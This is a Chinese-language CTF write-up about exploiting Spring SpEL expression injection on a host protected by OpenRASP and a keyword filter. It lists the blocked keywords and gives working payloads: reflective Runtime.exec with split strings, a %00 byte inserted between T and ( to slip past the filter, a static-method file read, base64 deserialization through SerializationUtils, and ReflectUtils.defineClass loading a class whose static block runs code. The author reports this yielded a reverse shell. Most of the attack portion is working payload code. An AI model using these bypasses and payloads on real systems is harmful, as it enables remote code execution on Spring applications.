bypass openrasp SpEL RCE 的过程及思考
一. 背景
朋友发来一道 CTF
题目,考察的是 SpEL
表达式注入的利用,目的是读出固定位置 flag 文件/flag
,难点是目标机器上安装了 openrasp
,并设有额外的关键词检查。
感觉挺有意思,就实际动手玩了下。
二. 测试代码
根据线上代码的测试情况,推测实际起作用的代码可能如下:
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
String spel = "''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'open -a Calculator')";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
expression.getValue().toString();
三. 测试思路
用 二. 测试代码 在本地测试,发现很容易就能执行代码,但是在线上的实际环境中确没有执行成功。
于是粗测了下线上 openrasp
防护的环境,发现在没有进入 openrasp
层面的检查前,首先会十分暴力的直接拦截请求体中以下关键词:
ProcessBuilder
java.lang
getClass
Runtime
new
T(
#
所以像上文测试代码中的 ''.getClass().forName('java.la'+'ng.Ru'+'ntime')
虽然避免了 java.lang
、Runtime
关键词,但是会因为含有 getClass
关键词而被拦截。
当然,我们依然可以使用 ''.class.getSuperclass().class.forName
替换 ''.getClass().forName
来绕过对 getClass
关键词的拦截,最终构造出来如下执行命令的代码:
''.class.getSuperclass().class.forName('java.la'%2B'ng.Ru'%2B'ntime').getMethod('ex'%2B'ec',''.class).invoke(''.class.getSuperclass().class.forName('java.la'%2B'ng.Ru'%2B'ntime').getMethod('getRu'%2B'ntime').invoke(null),'id')
当绕过关键词检查后,又触发了 openrasp
层面对执行命令的函数的检查:
因为目的是读文件,所以可以先不关注命令执行。
简单分析一下,发现最致命的是拦截了 new
这个关键词,试图阻止我们创建对象实例,这样就会导致很多奇技淫巧没办法施展。
仅仅是读文件,当缺少 new
这个关键词时,在 SpEL 表达式中执行也不是那么容易。但是,我们依然可以尝试找到合适的静态方法执行代码,而绕过显示的创建对象实例这个步骤。
比如,JDK 7 及以上版本中,可以用以下代码来读取文本文件:
java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag"), java.nio.charset.Charset.defaultCharset())
转换成 SpEL 语法:
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())
但是因为含有 T(
关键词,还没有到 openrasp 层面就被拦截了。
我简单的尝试了在 T
和 (
字符中间增加常见的空白字符,如空格、换行符号,无法绕过检查,所以暂时搁置了这种方法。
因此,从上文的初步测试和分析来看,绕过上文描述的系统进行 SpEL
表达式注入有两个关键点:
- 创建一个对象实例又不被拦截(不含
new
关键词) - 找到合适的静态方法执行代码(同时不使用或者绕过对
T(
关键词的拦截)
四. 创建对象的六种方法
Java 中创建对象的方法大概有下面这六种:
- 使用 new 关键字
- Class 类的 newInstance() 方法
- Constructor 类的 newInstance() 方法
- Object 对象的 clone 方法
- 反序列化创建对象
- 使用 Unsafe 类创建对象
前三种都因为含有 new
关键词而无法使用,第四种需要借助已经生成的对象实例,所以也无法使用。
因此可以集中精力研究第5和第6中方法来创建对象:
反序列化创建对象
一个简单的从文件中进行反序列化的主要代码示例如下:
FileInputStream fis=new FileInputStream("object.ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();
可以发现普通的反序列化即使可以通过反序列化创建对象,但是也绕不过创建 ObjectInputStream
实例时对 new
关键词的检查。
使用 Unsafe 类创建对象
Unsafe 是位于 sun.misc 包下的一个类,其中的 allocateInstance
方法可以在只提供具体类的 Class 对象的情况下用来创建类的实例对象。
正常利用代码中可以结合 defineClass
避免使用 new
关键词而直接完成类的创建和实例化:
String payload = "yv66vgAAA...";
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(payload);
java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
unsafe.allocateInstance(unsafe.defineClass("Exploit", bytes, 0, bytes.length));
但是因为当前环境中没办法完成赋值操作,也执行不了多语句,所以目前这种方法也不能在上文提到的 SpEL 环境中使用。
五. 使用静态方法执行代码
上文一再提到对 T(
关键词的拦截,那是因为在 SpEL
中, T
操作符可以被用来指定一个 java.lang.Class
类型的实例,同时静态方法也可以使用该运算符调用。
通俗点来讲:
- 普通 java 代码中的
String.class
在 SpEL 表达式中可以用T(String)
来表示; A
类中的静态方法b
在普通 java 代码中可以直接用A.b
来调用,在 SpEL 表达式中就可以用T(A).b
来调用
上文中提到,插入空格和换行并没有绕过对 T(
关键词的过滤,如果能够绕过,就可以使用上文中提到的静态方法直接读出 /flag
文件。
那么是否真的就绕不过去呢?于是,我 debug 了下 SpEL 解析的代码,发现在 spring-expression-5.2.5.RELEASE.jar!/org/springframework/expression/spel/standard/Tokenizer.class
中有段代码如下:
public List<Token> process() {
while(this.pos < this.max) {
char ch = this.charsToProcess[this.pos];
if (this.isAlphabetic(ch)) {
this.lexIdentifier();
} else {
switch(ch) {
case '\u0000':
++this.pos;
break;
case '\u0001':
case '\u0002':
case '\u0003':
case '\u0004':
case '\u0005':
case '\u0006':
case '\u0007':
case '\b':
case '\u000b':
case '\f':
case '\u000e':
case '\u000f':
case '\u0010':
case '\u0011':
case '\u0012':
case '\u0013':
case '\u0014':
case '\u0015':
case '\u0016':
case '\u0017':
case '\u0018':
case '\u0019':
case '\u001a':
case '\u001b':
case '\u001c':
case '\u001d':
case '\u001e':
case '\u001f':
case ';':
case 'A':
case 'B':
case 'C':
case 'D':
case 'E':
case 'F':
case 'G':
case 'H':
case 'I':
case 'J':
case 'K':
case 'L':
case 'M':
case 'N':
case 'O':
case 'P':
case 'Q':
case 'R':
case 'S':
case 'T':
case 'U':
case 'V':
case 'W':
case 'X':
case 'Y':
case 'Z':
case '`':
case 'a':
case 'b':
case 'c':
case 'd':
case 'e':
case 'f':
case 'g':
case 'h':
case 'i':
case 'j':
case 'k':
case 'l':
case 'm':
case 'n':
case 'o':
case 'p':
case 'q':
case 'r':
case 's':
case 't':
case 'u':
case 'v':
case 'w':
case 'x':
case 'y':
case 'z':
default:
throw new IllegalStateException("Cannot handle (" + ch + ") '" + ch + "'");
case '\t':
case '\n':
case '\r':
case ' ':
++this.pos;
break;
case '!':
if (this.isTwoCharToken(TokenKind.NE)) {
this.pushPairToken(TokenKind.NE);
} else {
if (this.isTwoCharToken(TokenKind.PROJECT)) {
this.pushPairToken(TokenKind.PROJECT);
continue;
}
this.pushCharToken(TokenKind.NOT);
}
break;
case '"':
this.lexDoubleQuotedStringLiteral();
break;
case '#':
this.pushCharToken(TokenKind.HASH);
break;
case '$':
if (this.isTwoCharToken(TokenKind.SELECT_LAST)) {
this.pushPairToken(TokenKind.SELECT_LAST);
break;
}
this.lexIdentifier();
break;
case '%':
this.pushCharToken(TokenKind.MOD);
break;
case '&':
if (this.isTwoCharToken(TokenKind.SYMBOLIC_AND)) {
this.pushPairToken(TokenKind.SYMBOLIC_AND);
break;
}
this.pushCharToken(TokenKind.FACTORY_BEAN_REF);
break;
case '\'':
this.lexQuotedStringLiteral();
break;
case '(':
this.pushCharToken(TokenKind.LPAREN);
break;
case ')':
this.pushCharToken(TokenKind.RPAREN);
break;
case '*':
this.pushCharToken(TokenKind.STAR);
break;
case '+':
if (this.isTwoCharToken(TokenKind.INC)) {
this.pushPairToken(TokenKind.INC);
break;
}
this.pushCharToken(TokenKind.PLUS);
break;
case ',':
this.pushCharToken(TokenKind.COMMA);
break;
case '-':
if (this.isTwoCharToken(TokenKind.DEC)) {
this.pushPairToken(TokenKind.DEC);
break;
}
this.pushCharToken(TokenKind.MINUS);
break;
case '.':
this.pushCharToken(TokenKind.DOT);
break;
case '/':
this.pushCharToken(TokenKind.DIV);
break;
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
this.lexNumericLiteral(ch == '0');
break;
case ':':
this.pushCharToken(TokenKind.COLON);
break;
case '<':
if (this.isTwoCharToken(TokenKind.LE)) {
this.pushPairToken(TokenKind.LE);
break;
}
this.pushCharToken(TokenKind.LT);
break;
case '=':
if (this.isTwoCharToken(TokenKind.EQ)) {
this.pushPairToken(TokenKind.EQ);
break;
}
this.pushCharToken(TokenKind.ASSIGN);
break;
case '>':
if (this.isTwoCharToken(TokenKind.GE)) {
this.pushPairToken(TokenKind.GE);
break;
}
this.pushCharToken(TokenKind.GT);
break;
case '?':
if (this.isTwoCharToken(TokenKind.SELECT)) {
this.pushPairToken(TokenKind.SELECT);
} else if (this.isTwoCharToken(TokenKind.ELVIS)) {
this.pushPairToken(TokenKind.ELVIS);
} else {
if (this.isTwoCharToken(TokenKind.SAFE_NAVI)) {
this.pushPairToken(TokenKind.SAFE_NAVI);
continue;
}
this.pushCharToken(TokenKind.QMARK);
}
break;
case '@':
this.pushCharToken(TokenKind.BEAN_REF);
break;
case '[':
this.pushCharToken(TokenKind.LSQUARE);
break;
case '\\':
this.raiseParseException(this.pos, SpelMessage.UNEXPECTED_ESCAPE_CHAR);
break;
case ']':
this.pushCharToken(TokenKind.RSQUARE);
break;
case '^':
if (this.isTwoCharToken(TokenKind.SELECT_FIRST)) {
this.pushPairToken(TokenKind.SELECT_FIRST);
break;
}
this.pushCharToken(TokenKind.POWER);
break;
case '_':
this.lexIdentifier();
break;
case '{':
this.pushCharToken(TokenKind.LCURLY);
break;
case '|':
if (!this.isTwoCharToken(TokenKind.SYMBOLIC_OR)) {
this.raiseParseException(this.pos, SpelMessage.MISSING_CHARACTER, "|");
}
this.pushPairToken(TokenKind.SYMBOLIC_OR);
break;
case '}':
this.pushCharToken(TokenKind.RCURLY);
}
}
}
return this.tokens;
}
上面的代码在解析字符时,将空格字符和 \u0000
字符当成了空白符号,遇到就会 ++this.pos
,所以,直接尝试在 T
和 (
字符中间插入 %00 ,然后成功进行了绕过。
使用前面提到的静态方法读文件的代码,在 T
和 (
字符串中间插入 %00 字符绕过关键词检查,openrasp 也没有拦截正常的读文件方法,所以可以成功读取文件:
到这里测试的目的就达到了,不过光读文件还是不太好,最好是能够执行任意代码,达到命令执行的效果。
结合上面讲到的反序列化创建对象的方法,可以用 spring
自封装的静态方法 org.springframework.util.SerializationUtils.deserialize
,在规避 new
关键词的同时反序列化执行代码,再结合 base64
的静态方法,具体 SpEL 表达式可写为:
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
这样,把反序列化数据用 base64
编码后就可以用 SpEL
执行了,实际测试可以执行 URLDNS
的反序列化 payload:
虽然方法可行,但是在实际环境中大概试了几个常用反序列化 gadget,发现没成功, 不清楚是环境中没有相关 gadget 还是被 openrasp 拦截了,也就没继续测试下去。
六. 绕过 openrasp 执行自定义代码
本篇文章到此就应该结束了,但是奈何我又突然想起设计模式中的一个知识点: 饿汉式单例模式 ,按照我们的需求,它可以简化成下面这样的代码:
public class Singleton {
private static Singleton s = new Singleton();
private Singleton() {
......
}
}
由于设置了 static 类型的类属性 Singleton s = new Singleton()
,再结合类加载的知识,那么只要加载 Singleton
类,jvm 就会自动帮我们 new Singleton()
实例化,所以只要把恶意代码写在默认的类构造器中,就不需要显示的实例化类,也能执行我们的代码了。当然,直接使用更为熟悉的 static{}
代码块也有相同的效果。
既然突破了创建对象这一关,剩下的就是想办法加载我们的恶意类了。
功夫不负有心人,结合上面提到的使用静态方法执行代码的技巧,我找到 spring 中的一个关键类 org.springframework.cglib.core.ReflectUtils
,其中有个 defineClass
静态方法:
public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {
return defineClass(className, b, loader, PROTECTION_DOMAIN);
}
方法需要传入 类名、类的字节码字节数组 和 类加载器 就可以成功的加载恶意类,完美符合我们的要求。
在构造代码时,为了方便我又在 spring 中找了一个获取 ClassLoader
的静态方法 org.springframework.util.ClassUtils.getDefaultClassLoader()
,然后构造的 SpEL 表达式:
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
最后,结合 %00 绕过对 T(
关键词的过滤,执行了自定代码,成功的绕过 openrasp
反弹 shell:
七. 后记
本文详细记录了对 SpEL 代码执行环境中关键词检查的分析及绕过过程,并通过静态方法读取了目标 flag 文件;
最后结合 static
关键词的特点和 java 类加载特性,没有使用 new
关键词在 SpEL 中实现了类的实例化,利用类加载绕过 openrasp 成功执行了自定义代码。
评论